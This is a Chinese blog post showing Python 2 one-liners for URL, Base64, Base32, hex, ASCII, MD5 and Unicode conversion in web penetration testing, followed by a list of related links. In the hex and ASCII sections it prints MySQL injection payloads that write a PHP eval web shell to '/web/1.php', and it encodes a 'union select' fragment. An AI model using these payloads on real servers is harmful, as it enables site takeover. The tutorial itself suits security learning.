python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
极简的Python入门指引
Apr 01 Python
Python 专题一 函数的基础知识
Mar 16 Python
requests和lxml实现爬虫的方法
Jun 11 Python
python 生成器协程运算实例
Sep 04 Python
python导入csv文件出现SyntaxError问题分析
Dec 15 Python
浅析Python装饰器以及装饰器模式
May 28 Python
Python3字符串encode与decode的讲解
Apr 02 Python
python 函数中的内置函数及用法详解
Jul 02 Python
python匿名函数的使用方法解析
Oct 10 Python
解决pycharm安装第三方库失败的问题
May 09 Python
Selenium结合BeautifulSoup4编写简单的python爬虫
Nov 06 Python
pytho matplotlib工具栏源码探析一之禁用工具栏、默认工具栏和工具栏管理器三种模式的差异
Feb 25 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
php定时计划任务的实现方法详解
2013/06/06 PHP
php微信开发之上传临时素材
2016/06/24 PHP
Yii框架实现邮箱激活的方法【数字签名】
2016/10/18 PHP
golang实现php里的serialize()和unserialize()序列和反序列方法详解
2018/10/30 PHP
CL vs ForZe BO5 第四场 2.13
2021/03/10 DOTA
飞鱼(shqlsl) javascript作品集
2006/12/16 Javascript
JQuery 文本框使用小结
2010/05/22 Javascript
JS保留小数点(四舍五入、四舍六入)实现思路及实例
2013/04/25 Javascript
Javascript核心读书有感之类型、值和变量
2015/02/11 Javascript
浅析Javascript ES6中的原生Promise
2016/08/25 Javascript
老生常谈combobox和combotree模糊查询
2017/04/17 Javascript
jQuery正则验证注册页面经典实例
2017/06/10 jQuery
基于对象合并功能的实现示例
2017/10/10 Javascript
vue中post请求以a=a&amp;b=b 的格式写遇到的问题
2018/04/27 Javascript
解决vue 引入子组件报错的问题
2018/09/06 Javascript
vue-cli项目使用mock数据的方法(借助express)
2019/04/15 Javascript
利用js-cookie实现前端设置缓存数据定时失效
2019/06/18 Javascript
vuex+axios+element-ui实现页面请求loading操作示例
2020/02/02 Javascript
Vue + ts实现轮播插件的示例
2020/11/10 Javascript
python检查序列seq是否含有aset中项的方法
2015/06/30 Python
详解Django框架中的视图级缓存
2015/07/23 Python
Python的语言类型(详解)
2017/06/24 Python
Python实现连接postgresql数据库的方法分析
2017/12/27 Python
python json 递归打印所有json子节点信息的例子
2020/02/27 Python
python 连续不等式语法糖实例
2020/04/15 Python
Python绘图之柱形图绘制详解
2020/07/28 Python
详解python tkinter包获取本地绝对路径(以获取图片并展示)
2020/09/04 Python
Python常用扩展插件使用教程解析
2020/11/02 Python
日本乐天官方海外转运服务:Rakuten Global Express
2018/11/30 全球购物
先进事迹报告会主持词
2014/04/02 职场文书
共筑中国梦演讲稿
2014/04/23 职场文书
迎新生标语大全
2014/10/06 职场文书
合伙购房协议样本
2014/10/06 职场文书
会计求职信怎么写
2015/03/20 职场文书
2016年学校“3.12”植树节活动总结
2016/03/16 职场文书
公司年会主持词范文!
2019/05/07 职场文书